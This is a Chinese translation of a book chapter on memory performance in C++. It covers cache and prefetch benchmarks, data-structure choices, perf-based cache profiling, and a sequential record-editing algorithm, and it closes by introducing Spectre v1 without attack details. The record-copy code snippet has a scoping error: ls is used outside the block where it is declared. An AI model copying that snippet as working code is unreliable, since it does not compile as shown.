读取的基准测试当然非常相似,只是内部循环必须改变:

REPEAT(benchmark::DoNotOptimize(*(p0 + *ind++));)

我们有测量主要测量内存访问成本的基准代码。推进索引所需的算术运算是不可避免的,但是加法最多需要一个周期,并且我们已经看到 CPU 可以同时执行多个加法,因此数学不会成为瓶颈(而且无论如何,任何访问数组中的内存的程序都必须执行相同的计算,因此实际上重要的是访问速度)。现在让我们看看我们的努力的结果。

内存速度:数字

现在我们有了测量读取和写入内存速度的基准测试代码,我们可以收集结果并看看在访问内存中的数据时如何获得最佳性能。我们首先从随机访问开始,其中我们读取或写入的每个值的位置是不可预测的。

随机内存访问的速度

测量结果可能会相当嘈杂,除非你多次运行这个基准测试并对结果取平均值(基准库可以为你做到这一点)。对于一个合理的运行时间(几分钟),你可能会看到类似这样的结果:

图 4.3 - 内存大小的随机读取速度

图 4.3 - 内存大小的随机读取速度

图 4.3中的基准结果显示了每秒从内存中读取的字数(以十亿计,在任何合理的 PC 或工作站上都可以找到),其中是 64 位整数或 256 位整数(long__m256i,分别)。相同的测量结果也可以用所选大小的单个字的读取时间来呈现。

图 4.4 - 读取一个数组元素的时间与数组大小

图 4.4 - 读取一个数组元素的时间与数组大小

图表有几个有趣的特点,我们可以一次观察到。首先,正如我们预期的那样,没有单一的内存速度。从我使用的机器上读取一个 64 位整数的时间从 0.3 纳秒到 7 纳秒不等。读取少量数据的速度,每个值而言,比读取大量数据要快得多。我们可以从这些图表中看到缓存的大小:32 KB 的 L1 缓存速度快,只要所有数据都适合 L1 缓存,读取速度就不依赖于数据量。一旦我们超过 32 KB 的数据,读取速度就开始下降。数据现在适合于 L2 缓存,它更大(256 KB)但速度较慢。数组越大,适合快速 L1 缓存的部分就越小,访问速度就越慢。

如果数据溢出 L2 缓存,读取时间会进一步增加,我们必须使用更慢的 L3 缓存。L3 缓存更大,但速度更慢。然而,直到数据大小超过 8MB,才会发生任何事情。只有在那时,我们才会实际从主存储器中读取数据:直到现在,数据是在我们第一次接触它时从内存中移动到缓存中的,所有后续的读取操作都只使用缓存。但是,如果我们需要一次访问超过 8MB 的数据,其中一些数据将不得不从主存储器中读取(在这台机器上,缓存大小会因 CPU 型号而异)。当然,我们不会立即失去缓存的好处:只要大部分数据适合缓存,它至少在某种程度上是有效的。但是一旦数据量超过缓存大小几倍,读取时间几乎完全取决于从内存中检索数据所需的时间。

每当我们需要读取或写入某个变量,并且在缓存中找到它时,我们称之为缓存命中。然而,如果没有找到,那么我们就会注册缓存未命中。当然,L1 缓存未命中可能会成为 L2 命中。L3 缓存未命中意味着我们必须一直到主存储器。

值本身的第二个值得注意的属性是:从内存中读取一个整数需要 7 纳秒。按照处理器的标准,这是一个非常长的时间:在前一章中,我们已经看到相同的 CPU 可以在每纳秒做几个操作。让这个事实深入人心:CPU 可以在读取单个整数值的时间内做大约 50 个算术运算,除非该值已经在缓存中。很少有程序需要对每个值进行 50 次操作,这意味着除非我们能找出一些方法来加速内存访问,否则 CPU 可能会被低效利用。

最后,我们看到每秒的读取速度不取决于字的大小。从实际角度来看,最相关的含义是,如果我们使用 256 位指令来读取内存,我们可以读取四倍的数据。当然,事情并不那么简单:SSE 和 AVX 加载指令将值读入不同的寄存器,而不是常规加载,因此我们还必须使用 SSE 或 AVX SIMD 指令来进行计算。一个更简单的情况是当我们只需要从内存的一个位置复制大量数据到另一个位置;我们的测量表明,复制 256 位字的速度比使用 64 位字快四倍。当然,已经有一个复制内存的库函数memcpy()std::memcpy(),它经过了最佳效率的优化。

还有一个暗示是,速度不依赖于字长的事实:这意味着读取速度受延迟而不是带宽限制。延迟是发出数据请求和检索数据之间的延迟时间。带宽是内存总线在给定时间内可以传输的数据总量。从 64 位字到 256 位字传输的数据量是相同时间内的四倍;这意味着我们还没有达到带宽限制。虽然这可能看起来是一个纯理论上的区别,但它对编写高效程序有重要的影响,我们将在本章后面学习到。

最后,我们可以测量写入内存的速度:

图 4.5 - 一个数组元素的写入时间与数组大小的关系

图 4.5 - 一个数组元素的写入时间与数组大小的关系

在我们的情况下,随机读写的性能非常相似,但这在不同的硬件上可能会有所不同:有时读取速度更快。我们之前观察到的有关读取内存速度的一切也适用于写入:我们在图 4.5 中看到了缓存大小的影响,如果主内存参与其中,写入一个元素的总等待时间非常长,而写入大字更有效。

关于内存访问对性能的影响,我们可以得出什么结论?一方面,如果我们需要重复访问少量数据(小于 32KB),我们不必太担心。当然,“重复”是关键:对任何内存位置的第一次访问将不得不触及主内存,无论我们计划访问多少内存(计算机不知道你的数组很小,直到你读取整个数组并回到开头——第一次读取小数组的第一个元素看起来与读取大数组的第一个元素完全相同)。另一方面,如果我们需要访问大量数据,内存速度很可能成为我们的首要关注点:每个数字需要 7 纳秒,你走不了太远。

本章中我们将看到几种提高内存性能的技术。在我们研究如何改进我们的代码之前,让我们看看我们可以从硬件本身得到什么帮助。

顺序内存访问的速度

到目前为止,我们已经测量了在随机位置访问内存的速度。当我们这样做时,每次内存访问实际上都是新的。我们正在读取的整个数组被加载到它可以容纳的最小缓存中,然后我们的读写随机访问该缓存中的不同位置。如果数组无法适应任何缓存,那么我们将随机访问内存中的不同位置,并在每次访问时产生 7 纳秒的延迟(对于我们使用的硬件)。

随机内存访问在我们的程序中经常发生,但同样频繁的是,我们有一个需要从第一个元素到最后一个元素处理的大数组。重要的是要指出,这里的“随机”和“顺序”访问是由内存地址的顺序决定的。有可能会产生误解:列表是一种不支持随机访问的数据结构(意味着你不能跳到列表的中间),必须按顺序访问,从头元素开始。然而,如果每个列表元素是分别分配并在不同时间分配的,那么按顺序遍历列表很可能以随机顺序访问内存。另一方面,数组是一种随机访问数据结构(意味着你可以访问任何元素而不必访问它之前的元素)。然而,从头到尾读取数组是按顺序访问内存,按照单调递增的地址顺序。在本章中,除非另有说明,我们在谈论顺序或随机访问时都关注访问内存地址的顺序。

顺序内存访问的性能是完全不同的。以下是顺序写入的结果:

图 4.6 - 一个数组元素的写入时间与数组大小的关系,顺序访问

图 4.6 - 一个数组元素的写入时间与数组大小的关系,顺序访问

图的整体形状与之前相同,但差异和相似之处同样重要。我们应该注意的第一个差异是垂直轴的刻度:时间值比我们在图 4.5中看到的要小得多。写入 256 位值只需要 2.5 纳秒,而 64 位整数只需要 0.8 纳秒。

第二个不同之处是不同字大小的曲线不再相同。这里有一个重要的警告:这个结果高度依赖于硬件:在许多系统上,你会看到与上一节类似的结果。在我使用的硬件上,不同字大小的顺序写入时间对于 L1 缓存是相同的,但对于其他缓存和主内存是不同的。观察主内存的数值,我们可以看到写入 64 位整数的时间并不是写入 32 位整数所需时间的两倍,对于更大的大小,写入时间每当字大小加倍时就会加倍。这意味着限制不是我们每秒可以写入多少个字,而是每秒可以写入多少个字节:所有字大小的速度(除了最小的那个)每秒的速度将是相同的。这意味着速度现在不再受延迟的限制,而是受带宽的限制:我们正在以总线能够传输的速度将位推入内存,无论我们是将它们分组成 64 位块还是 256 位块,我们称之为,我们已经达到了内存的带宽限制。再次强调,这个结果比我们在本章中做出的任何其他观察都更依赖于硬件:在许多机器上,内存足够快,单个 CPU 无法饱和其带宽。

我们可以得出的最后一个观察是,虽然与缓存大小对应的曲线上的步骤仍然可见,但它们不那么明显,也没有那么陡峭。我们有了结果,也有了观察。这一切意味着什么呢?

硬件中的内存性能优化

这三个观察结果合在一起,指向硬件本身采用了某种延迟隐藏技术(除了改变内存访问顺序,我们没有做任何事情来改善我们代码的性能,所以所有的收益都归功于硬件做了一些不同的事情)。在随机访问主内存时,每次访问在我们的机器上需要 7 纳秒。这是从请求特定地址的数据到它被传送到 CPU 寄存器所需的时间,这种延迟完全由延迟决定(无论我们请求了多少字节,我们都必须等待 7 纳秒才能得到任何东西)。在顺序访问内存时,硬件可以立即开始传输数组的下一个元素:第一个元素仍然需要 7 纳秒才能访问,但之后,硬件可以开始以 CPU 和内存总线可以处理的速度从内存中流式传输整个数组。数组的第二个和之后的元素的传输甚至在 CPU 发出数据请求之前就开始了。因此,延迟不再是限制因素,带宽是。

当然,这假设硬件知道我们要顺序访问整个数组以及数组的大小。实际上,硬件并不知道这些,但就像我们在上一章中学习的条件指令一样,内存系统中有学习电路来做出合理的猜测。在我们的情况下,我们遇到了被称为预取的硬件技术。一旦内存控制器注意到 CPU 连续访问了几个地址,它就假设模式将继续,并准备访问下一个内存位置,将数据传输到 L1 缓存(对于读取)或为写入在 L1 缓存中腾出空间。理想情况下,预取技术将允许 CPU 始终以 L1 缓存速度访问内存,因为在 CPU 需要每个数组元素时,它已经在 L1 缓存中。现实是否符合这种理想情况取决于 CPU 在访问相邻元素之间需要多少工作。在我们的基准测试中,CPU 几乎没有做任何工作,预取落后了。即使预期线性顺序访问,它也无法以足够快的速度在主内存和 L1 缓存之间传输数据。然而,预取非常有效地隐藏了内存访问的延迟。

预取不是基于对内存访问将如何进行的预见或先验知识(有一些特定于平台的系统调用允许程序通知硬件即将按顺序访问一段内存,但它们不具有可移植性,在实践中很少有用)。相反,预取试图检测内存访问中的模式。因此,预取的有效性取决于它能够多么有效地确定模式并猜测下一个访问的位置。

有很多信息,其中很多是过时的,关于预取模式检测的限制。例如,在旧的文献中,你可以读到,按正向顺序访问内存(对于数组a,从a[0]a[N-1])比反向访问更有效。这对于任何现代 CPU 来说都不再成立,也已经多年如此。如果我开始准确描述哪些模式在预取方面是有效的,哪些不是有效的,这本书可能会陷入同样的陷阱。最终,如果你的算法需要特定的内存访问模式,并且你想找出你的预取是否能够处理它,最可靠的方法是使用类似我们在本章中用于随机内存访问的基准代码来进行测量。

总的来说,我可以告诉你,预取对于按递增和递减顺序访问内存同样有效。然而,改变方向会导致一些惩罚,直到预取适应新的模式。使用步长访问内存,比如在数组中访问每四个元素,将被检测和预测,就像密集的顺序访问一样有效。预取可以检测多个并发步长(即访问每三个和每七个元素),但在这里,我们进入了一个领域,你必须收集自己的数据,因为硬件能力从一个处理器到另一个处理器会发生变化。

硬件采用的另一种性能优化技术是非常成功的流水线硬件循环展开。我们已经在上一章中看到了它的应用,用于隐藏条件指令造成的延迟。同样,流水线也用于隐藏内存访问的延迟。考虑这个循环:

for (size_t i = 0; i < N; ++i) {
    b[i] = func(a[i]);
}

在每次迭代中,我们从数组中读取值a[i],进行一些计算,并将结果b[i]存储在另一个数组中。由于读取和写入都需要时间,我们可以期望循环执行的时间线看起来像这样:

图 4.7 - 非流水线循环的时间线

图 4.7 - 非流水线循环的时间线

这一系列操作会让 CPU 大部分时间都在等待内存操作完成。相反,硬件将预先读取指令流,并叠加不相互依赖的指令序列:

图 4.8 - 流水线(展开)循环的时间线

图 4.8 - 流水线(展开)循环的时间线

第二个数组元素的加载可以在第一个元素被读取后立即开始,假设有足够的寄存器。为简单起见,我们假设 CPU 一次只能加载两个值;大多数真实的 CPU 可以同时进行多次内存访问,这意味着流水线可以更宽,但这并不改变主要思想。第二组计算在输入值可用后立即开始。经过前几步后,流水线被加载,CPU 大部分时间都在计算(如果不同迭代的计算步骤重叠,CPU 甚至可以同时执行多个迭代,前提是它有足够的计算单元来这样做)。

流水线可以隐藏内存访问的延迟,但显然是有限制的。如果读取一个值需要 7 纳秒,而我们需要读取一百万个值,那么最好情况下需要 7 毫秒,这是无法避免的(再次假设 CPU 一次只能读取一个值)。流水线可以通过将计算与内存操作叠加在一起来帮助我们,在理想情况下,所有计算都在这 7 毫秒内完成。预取可以在我们需要之前开始读取下一个值,从而缩短平均读取时间,但前提是它能正确猜测出该值。无论如何,本章中进行的测量展示了以不同方式访问内存的最佳情况。

在测量内存速度和呈现结果方面,我们已经涵盖了基础知识,并了解了内存系统的一般特性。任何更详细或具体的测量都留给读者自行练习,你应该有足够的能力收集所需的数据,以便对你特定应用程序的性能做出明智的决策。现在我们转向下一步:我们知道内存是如何工作的,以及我们可以期望从中获得的性能,但我们可以做些什么来改善具体程序的性能呢?

优化内存性能

当许多程序员学习了上一节的材料后,他们通常的第一反应是:“谢谢,我现在明白为什么我的程序慢了,但我必须处理我拥有的数据量,而不是理想的 32KB,算法也是固定的,包括复杂的数据访问模式,所以我无能为力。”如果我们不学会如何为我们需要解决的问题获得更好的内存性能,那么本章就没有多大价值。在本节中,我们将学习可以用来改善内存性能的技术。

内存高效的数据结构

数据结构的选择,或者更一般地说,数据组织,通常是程序员在内存性能方面做出的最重要决定。重要的是要了解你能做什么,不能做什么:图 4.5图 4.6中显示的内存性能确实就是全部,你无法绕过它(严格来说,这只有 99%的真实性;有一些少见的异类内存访问技术可以超出这些图表所显示的限制)。但是,你可以选择在这些图表上的哪个点对应于你的程序。首先让我们考虑一个简单的例子:我们有 1 百万个 64 位整数,我们需要按顺序存储和处理。我们可以将这些值存储在一个数组中;数组的大小将为 8 MB,并且根据我们的测量,访问时间约为 0.6 纳秒/值,如图 4.6所示。

图 4.9 - 一个数组(A)与列表(L)元素的写入时间

图 4.9 - 一个数组(A)与列表(L)元素的写入时间

或者,我们可以使用列表来存储相同的数字。std::list是一个节点集合,每个节点都有值和指向下一个和上一个节点的两个指针。因此,整个列表使用了 24 MB 的内存。此外,每个节点都是通过单独调用operator new来分配的,因此不同的节点可能位于非常不同的地址,特别是如果程序同时进行其他内存分配和释放。在遍历列表时,我们需要访问的地址不会有任何模式,因此要找到列表的性能,我们只需要在曲线上找到对应于 24 MB 内存范围的点,这给出了每个值超过 5 纳秒,几乎比在数组中访问相同数据慢一个数量级。

在这一点上要求证明的人,从上一章中学到了宝贵的东西。我们可以轻松地构建一个微基准测试,比较将数据写入列表和相同大小的向量。这是向量的基准测试:

template <class Word>
void BM_write_vector(benchmark::State& state) {
    const size_t size = state.range(0);
    std::vector<Word> c(size);
    Word x = {};
    for (auto _ : state) {
        for (auto it = c.begin(), it0 = c.end(); it != 
          it0;) {
            REPEAT(benchmark::DoNotOptimize(*it++ = x);)
        }
        benchmark::ClobberMemory();
    }
}
BENCHMARK_TEMPLATE1(BM_write_vector, unsigned long)->Arg(1<<20);

std::vector更改为std::list以创建一个列表基准测试。请注意,与先前的基准测试相比,大小的含义已经改变:现在它是容器中元素的数量,因此内存大小将取决于元素类型和容器本身,就像图 4.6中所示的那样。对于 1 百万个元素,结果正如所承诺的那样:

图 4.10 - 列表与向量基准测试

图 4.10 - 列表与向量基准测试

为什么有人会选择链表而不是数组(或std::vector)?最常见的原因是,在创建时,我们不知道将要有多少数据,而且由于涉及到复制,增长向量是非常低效的。有几种解决这个问题的方法。有时可以相对廉价地预先计算数据的最终大小。例如,我们可能需要扫描一次输入数据来确定为结果分配多少空间。如果输入数据组织得很有效,可能值得对输入进行两次遍历:首先是计数,其次是处理。

如果不可能预先知道最终数据大小,我们可能需要一个更智能的数据结构,它结合了向量的内存效率和列表的调整效率。这可以通过使用块分配的数组来实现:

图 4.11 - 块分配的数组(deque)可以就地增长

图 4.11 - 块分配的数组(deque)可以就地增长

这种数据结构以固定数量的块分配内存,通常足够小,可以适应 L1 缓存(通常使用 2 KB 到 16 KB 之间)。每个块都被用作数组,因此在每个块内,元素是按顺序访问的。块本身是以列表的形式组织的。如果需要扩展这种数据结构,只需分配另一个块并将其添加到列表中。访问每个块的第一个元素可能会导致缓存未命中,但一旦预取检测到顺序访问的模式,块中的其余元素可以被高效地访问。在每个块中的元素数量上摊销,随机访问的成本可以变得非常小,由此产生的数据结构几乎可以表现得与数组或向量相同。在 STL 中,我们有这样的数据结构:std::deque(不幸的是,大多数 STL 版本中的实现并不特别高效,对 deque 的顺序访问通常比相同大小的向量要慢一些)。

另一个偏好列表而不是数组(单块或分配的)的原因是列表允许在任何位置快速插入,而不仅仅是在末尾。如果需要这样做,那么必须使用列表或另一个节点分配的容器。在这种情况下,通常最好的解决方案是不要尝试选择适用于所有要求的单个数据结构,而是将数据从一个数据结构迁移到另一个数据结构。例如,如果我们想使用列表存储数据元素,一次一个,同时保持排序顺序,一个问题要问的是,我们是否需要顺序始终保持排序,只在插入所有元素后,或者在构建过程中的某些时候但不是一直?

如果算法中存在数据访问模式变化的点,通常有利于在该点更改数据结构,即使需要复制一些内存。例如,我们可以构建一个列表,并在添加最后一个元素后,将其复制到数组中以实现更快的顺序访问(假设我们不需要再添加任何元素)。如果我们可以确定某部分数据是完整的,我们可以将该部分转换为数组,可能是块分配数组中的一个或多个块,并将仍然可变的数据留在列表或树数据结构中。另一方面,如果我们很少需要按排序顺序处理数据,或者需要以多种顺序处理数据,那么将顺序与存储分离通常是最佳解决方案。数据存储在向量或双端队列中,并且顺序是通过按所需顺序排序的指针数组施加的。由于所有有序数据访问现在是间接的(通过中间指针),只有在这种访问很少的情况下才是有效的,大部分时间,我们可以按照数组中存储的顺序处理数据。

关键是,如果我们经常访问某些数据,我们应该选择使该特定访问模式最佳的数据结构。如果访问模式随时间变化,数据结构也应该随之变化。另一方面,如果我们不花太多时间访问数据,那么从一种数据排列转换到另一种排列的开销可能无法证明是合理的。然而,在这种情况下,低效的数据访问本来就不应该是一个问题。这带我们来到下一个问题:我们如何找出哪些数据访问效率低,更一般地说,哪些数据访问成本高?

性能分析内存

通常,特定数据结构或数据组织的效率是相当明显的。例如,如果我们有一个包含数组或向量的类,并且这个类的接口只允许一种数据访问方式,即从开始到结束的顺序迭代(在 STL 语言中为前向迭代器),那么我们可以相当肯定地说,数据在内存级别上被访问得尽可能高效。我们无法确定算法的效率:例如,在数组中进行特定元素的线性搜索是非常低效的(每次内存读取当然是高效的,但读取次数很多;我们知道更好的数据组织方式来进行搜索)。

仅仅知道哪些数据结构在内存上是高效的是不够的:我们还需要知道程序在特定数据集上花费了多少时间。有时,这是不言自明的,尤其是在良好的封装下。如果我们有一个函数,在概况或时间报告中花费了很多时间,而函数内的代码并不特别繁重,但移动了大量数据,那么提高对这些数据的访问效率很可能会改善整体性能。

不幸的是,这是比较容易的情况,因此首先进行了优化。然后我们到了一个没有单个函数或代码片段在执行时间上突出的程度,但程序仍然效率低下的地步。当你没有热点代码时,很多时候你有热点数据:一个或多个数据结构在整个程序中被访问;在这些数据上花费的累计时间很长,但没有局限在任何函数或循环中。传统的分析无法帮助我们:它会显示运行时间均匀分布在整个程序中,并且优化任何一个代码片段都会带来很少的改进。我们需要的是一种方法来找到整个程序中访问效率低下的数据,并将其累积起来。

仅仅使用时间测量工具很难收集这些信息。然而,使用硬件事件计数器的分析器可以相当容易地收集这些信息。大多数 CPU 可以计算内存访问,更具体地说是缓存命中和未命中。在本章中,我们再次使用perf分析器;通过它,我们可以使用以下命令来测量 L1 缓存的使用效果:

$ perf stat -e \
  cycles,instructions,L1-dcache-load-misses,L1-dcache-loads \
  ./program

缓存测量计数器不是默认计数器集的一部分,必须显式指定。可用计数器的确切集合因 CPU 而异,但始终可以通过运行perf list命令查看。在我们的示例中,我们在读取数据时测量 L1 缓存未命中。术语dcache代表数据缓存(发音为dee-cache);CPU 还有一个单独的指令缓存icache(发音为ay-cache),用于从内存中加载指令。

我们可以使用这个命令行来对我们的内存基准进行分析,以便随机地址读取内存。当内存范围较小,比如 16KB 时,整个数组可以适应 L1 缓存,几乎没有缓存未命中:

图 4.12 - 使用 L1 缓存良好的程序概况

图 4.12 - 使用 L1 缓存良好的程序概况

将内存大小增加到 128MB 意味着缓存未命中非常频繁:

图 4.13 - 使用 L1 缓存不佳的程序概况

图 4.13 - 使用 L1 缓存不佳的程序概况

请注意,perf stat收集整个程序的总体值,其中一些内存访问是高效的,而另一些则不是。一旦我们知道某个地方的某人处理内存访问不当,我们就可以使用perf recordperf report来获取详细的概要,就像第二章中所展示的那样,性能测量(我们在那里使用了不同的计数器,但对于我们选择收集的任何计数器来说,过程都是相同的)。当然,如果我们最初的时间概要未能检测到任何热点代码,那么缓存概要也将显示相同的情况。代码中将有许多位置,其中缓存未命中的比例很高。每个位置对总体执行时间只有很小的贡献,但它们会累积起来。现在轮到我们注意到这些代码位置中的许多位置有一个共同点:它们操作的内存。例如,如果我们看到有几十个不同的函数,它们共同占据了 15%的缓存未命中率,但它们都操作同一个列表,那么列表就是有问题的数据结构,我们必须以其他方式组织我们的数据。

我们现在已经学会了如何检测和识别那些低效的内存访问模式对性能产生负面影响的数据结构,以及一些替代方案。不幸的是,替代的数据结构通常没有相同的特性或性能:如果元素必须在数据结构的生命周期中的任意位置插入,那么列表就不能用向量来替换。通常情况下,不是数据结构本身,而是算法本身需要低效的内存访问。在这种情况下,我们可能需要改变算法。

优化内存性能的算法

算法的内存性能经常被忽视。算法通常是根据它们的算法性能或执行的操作或步骤数量来选择的。内存优化通常需要做出违反直觉的选择:做更多的工作,甚至做一些不必要的工作,以改善内存性能。这里的关键是要用一些计算来换取更快的内存操作。内存操作很慢,所以我们用于额外工作的预算相当大。

更快地使用内存的一种方法是使用更少的内存。这种方法通常会导致重新计算一些本来可以存储和从内存中检索的值。在最坏的情况下,如果这种检索导致随机访问,那么读取每个值将需要几个纳秒(在我们的测量中为 7 纳秒)。如果重新计算该值所需的时间少于这个时间,而且当转换为 CPU 可以执行的操作数量时,7 纳秒是相当长的时间,那么我们最好不要存储这些值。这是空间与内存的传统权衡。

这种优化的一个有趣变体是:我们不仅仅是使用更少的内存,而是尝试在任何给定时间使用更少的内存。这里的想法是尝试将当前的工作数据集适应到其中一个缓存中,比如 L2 缓存,并在移动到数据的下一部分之前尽可能多地对其进行操作。将新的数据集加载到缓存中会导致每个内存地址都发生缓存未命中,根据定义。但是最好是接受那一次缓存未命中,然后在一段时间内有效地操作数据,而不是一次处理所有数据,然后冒险每次需要这个数据元素时都发生缓存未命中。

在本章中,我将向您展示一种更有趣的技术,我们通过更多的内存访问来节省一些其他内存访问。这里的权衡是不同的:我们希望减少慢速的随机访问,但我们要付出的代价是增加快速的顺序访问。由于顺序内存流大约比随机访问快一个数量级,我们再次有一个可观的预算来支付我们必须做的额外工作,以减少慢速内存访问。

演示需要一个更复杂的例子。假设我们有一组数据记录,比如字符串,程序需要对其中一些记录应用一组变更。然后我们得到另一组变更,依此类推。每个集合都会对一些记录进行更改,而其他记录保持不变。这些变更通常会改变记录的大小以及内容。每个集合中被更改的记录子集是完全随机和不可预测的。下面是一个显示这一点的图表:

图 4.14 - 记录编辑问题。在每个变更集中,用*标记的记录被编辑,其余保持不变其余保持不变

图 4.14 - 记录编辑问题。在每个变更集中,用*标记的记录被编辑,其余保持不变

解决这个问题最直接的方法是将记录存储在它们自己的内存分配中,并将它们组织在一些数据结构中,允许每个记录被新记录替换(旧记录被释放,因为新记录通常大小不同)。数据结构可以是树(在 C++中设置)或列表。为了使示例更具体,让我们使用字符串作为记录。我们还必须更具体地说明变更集的指定方式。让我们说它不指向需要更改的特定记录;相反,对于任何记录,我们可以说它是否需要更改。这样的字符串变更集的最简单示例是一组查找和替换模式。现在我们可以勾画出我们的实现:

 std::list<std::string> data;
… initialize the records …
for (auto it = data.begin(), it0 = --data.end(), it1 = it;
     true; it = it1) {
    it1 = it;
    ++it1;
    const bool done = it == it0;
    if (must_change(*it)) {
        std::string new_str = change(*it);
        data.insert(it, new_str);
        data.erase(it);
    }
    if (done) break;
}

在每个变更集中,我们遍历整个记录集合,确定记录是否需要更改,如果需要,就这样做(变更集隐藏在函数must_change()change()中)。代码只显示了一个变更集,所以我们会根据需要运行这个循环多次。

这种算法的弱点在于我们使用了一个列表,更糟糕的是,我们不断地在内存中移动字符串。对新字符串的每次访问都会导致缓存未命中。现在,如果字符串非常长,那么初始的缓存未命中并不重要,剩下的字符串可以使用快速的顺序访问来读取。结果类似于我们之前看到的块分配数组,内存性能良好。但是如果字符串很短,整个字符串可能会在单个加载操作中被读取,而每次加载都是在随机地址上进行的。

我们的整个算法只是在随机地址上进行加载和存储。正如我们所见,这几乎是访问内存的最糟糕方式。但是我们还能做什么呢?我们不能将字符串存储在一个巨大的数组中:如果数组中间的一个字符串需要增长,那么内存从哪里来呢?就在那个字符串之后是下一个字符串,所以没有空间可以增长。

提出替代方案需要进行范式转变。执行所需操作的算法按照指定的方式也对内存组织施加了限制:更改记录需要在内存中移动它们,只要我们希望能够更改任何一条记录而不影响其他任何内容,我们就无法避免记录在内存中的随机分布。我们必须侧面解决问题,并从限制开始。我们真的希望按顺序访问所有记录。在这种约束下,我们能做些什么?我们可以非常快速地读取所有记录。我们可以决定记录是否必须更改;这一步与以前相同。但是如果记录必须增长,我们该怎么办?我们必须将其移动到其他地方,没有足够的空间来增长。但我们同意记录将保持按顺序分配,一个接一个。然后前一条记录和下一条记录也必须移动,以便它们仍然存储在我们新记录的前后。这是替代算法的关键:所有记录在每个更改集中都会移动,无论它们是否被更改。现在我们可以将所有记录存储在一个巨大的连续缓冲区中(假设我们知道总记录大小的上限):

图 4.15 – 顺序处理所有记录

图 4.15 – 顺序处理所有记录

在复制过程中,算法需要分配相同大小的第二个缓冲区,因此峰值内存消耗是数据大小的两倍:

char* buffer = get_huge_buffer();
… initialize N records …
char* new_buffer = get_huge_buffer();
const char* s = buffer;
char* s1 = new_buffer;
for (size_t i = 0; i < N; ++i) {
    if (must_change(s)) {
        s1 = change(s, s1);
    } else {
        const size_t ls = strlen(s) + 1;
        memcpy(s1, s, ls);
        s1 += ls;
    }
    s += ls;
}
release(buffer);
buffer = new_buffer;

在每个更改集中,我们将每个字符串(记录)从旧缓冲区复制到新缓冲区。如果记录需要更改,新版本将被写入新缓冲区。否则,原始记录将被简单复制。随着每个新的更改集,我们将创建一个新的缓冲区,并在操作结束时释放旧缓冲区(实际实现将避免重复调用分配和释放内存,并简单地交换两个缓冲区)。

这种实现的明显缺点是使用了巨大的缓冲区:我们必须在选择其大小时持悲观态度,以便为可能遇到的最大记录分配足够的内存。峰值内存大小的翻倍也令人担忧。我们可以通过将这种方法与我们之前看到的可增长数组数据结构相结合来解决这个问题。我们可以将记录存储在一系列固定大小的块中,而不是分配一个连续的缓冲区:

图 4.16 – 使用块缓冲区编辑记录

图 4.16 – 使用块缓冲区编辑记录

为了简化图表,我们绘制了相同大小的所有记录,但这个限制并非必要:记录可以跨越多个块(我们将块视为连续的字节序列,仅此而已)。在编辑记录时,我们需要为编辑后的记录分配一个新的块。一旦编辑完成,包含旧记录的块(或块)就可以被释放;我们不必等待整个缓冲区被读取。但我们甚至可以做得更好:我们可以将最近释放的块放回空块列表,而不是将其返回给操作系统。我们即将编辑下一条记录,我们将需要一个空的新块来存放结果。我们碰巧有一个:它就是曾经包含我们上次编辑的最后一条记录的块;它位于我们最近释放的块列表的开头,并且最重要的是,该块是我们最后访问的内存,因此它很可能仍然在缓存中!

乍一看,这个算法似乎是一个非常糟糕的主意:我们每次都要复制所有记录。但让我们仔细分析这两种算法。首先,阅读的数量是相同的:两种算法都必须读取每个字符串以确定是否必须更改。第二种算法在性能上已经领先:它在单个顺序扫描中读取所有数据,而第一种算法则在内存中跳来跳去。如果字符串被编辑,那么两种算法都必须将新字符串写入新的内存区域。第二种算法再次领先,因为它的内存访问模式是顺序的(而且它不需要为每个字符串进行内存分配)。权衡出现在字符串未被编辑时。第一种算法什么都不做;第二种算法进行复制。

通过这种分析,我们可以定义每种算法的优劣情况。如果字符串很短,并且每次更改集中有大部分字符串被更改,顺序访问算法会获胜。如果字符串很长,或者很少有字符串被更改,随机访问算法会获胜。然而,确定什么是以及有多少是大部分的唯一方法是进行测量。

我们必须测量性能并不一定意味着您必须始终编写完整程序的两个版本。我们经常可以在操作简化数据的小模拟程序中模拟行为的特定方面。我们只需要知道记录的大致大小,更改了多少个记录,以及更改单个记录的代码,以便我们可以测量内存访问对性能的影响(如果每次更改都非常耗时,那么读取或写入记录需要多长时间就无关紧要了)。有了这样的模拟或原型实现,我们可以进行近似测量并做出正确的设计决策。

那么,在现实生活中,顺序字符串复制算法是否值得呢?我们已经对编辑中等长度字符串(128 字节)使用正则表达式模式进行了测试。如果每个更改集中有 99%的字符串都被编辑,那么顺序算法大约比随机算法快四倍(结果可能会与机器有关,因此必须在与您期望使用的硬件类似的硬件上进行测量)。如果 50%的记录都被编辑,顺序访问仍然更快,但只快约 12%(这可能在不同型号的 CPU 和内存类型之间的差异范围内,因此我们称之为平局)。更令人惊讶的结果是,如果只有 1%的记录被更改,那么两种算法的速度几乎相当:不进行随机读取所节省的时间可以弥补几乎完全不必要的复制的成本。

对于较长的字符串,如果很少更改字符串,随机访问算法会轻松获胜,对于非常长的字符串,即使所有字符串都更改,它也是平局:两种算法都按顺序读取和写入所有字符串(对长字符串的随机访问增加的时间可以忽略不计)。

现在我们已经拥有了确定我们的应用程序更好算法的一切所需。这通常是性能设计的方式:我们确定了性能问题的根源,想出了消除问题的方法,以代价做其他事情,然后我们必须拼凑出一个原型,让我们能够测量聪明的技巧是否真的值得。

在结束本章之前,我想向您展示缓存和其他硬件提供的性能改进的完全不同的“用法”。

机器中的幽灵

在过去的两章中,我们已经了解到,在现代计算机上,从初始数据到最终结果的路径有多么复杂。有时,机器确实按照代码规定的方式执行:从内存中读取数据,按照指令进行计算,将结果保存回内存。然而,更常见的情况是,它经历了一些我们甚至不知道的奇怪中间状态。从内存中读取并不总是从内存中读取:CPU 可能决定执行其他东西,因为它认为你会需要它,等等。我们已经尝试通过直接性能测量来确认所有这些事情确实存在。出于必要,这些测量总是间接的:硬件优化和代码转换旨在提供正确的结果,毕竟只是更快。

在本节中,我们展示了更多本来应该隐藏的硬件操作的可观察证据。这是一个重大发现:2018 年的发现引发了一场短暂的网络安全恐慌,并导致硬件和软件供应商发布了大量补丁。当然,我们谈论的是 Spectre 和 Meltdown 安全漏洞家族。

什么是 Spectre?

在本节中,我们将详细演示 Spectre 攻击的早期版本,即 Spectre 版本 1。这不是一本关于网络安全的书;然而,Spectre 攻击是通过仔细测量程序的性能来执行的,并且依赖于我们在本书中学习的两种性能增强硬件技术:推测执行和内存缓存。这使得攻击在致力于软件性能的工作中具有教育意义。

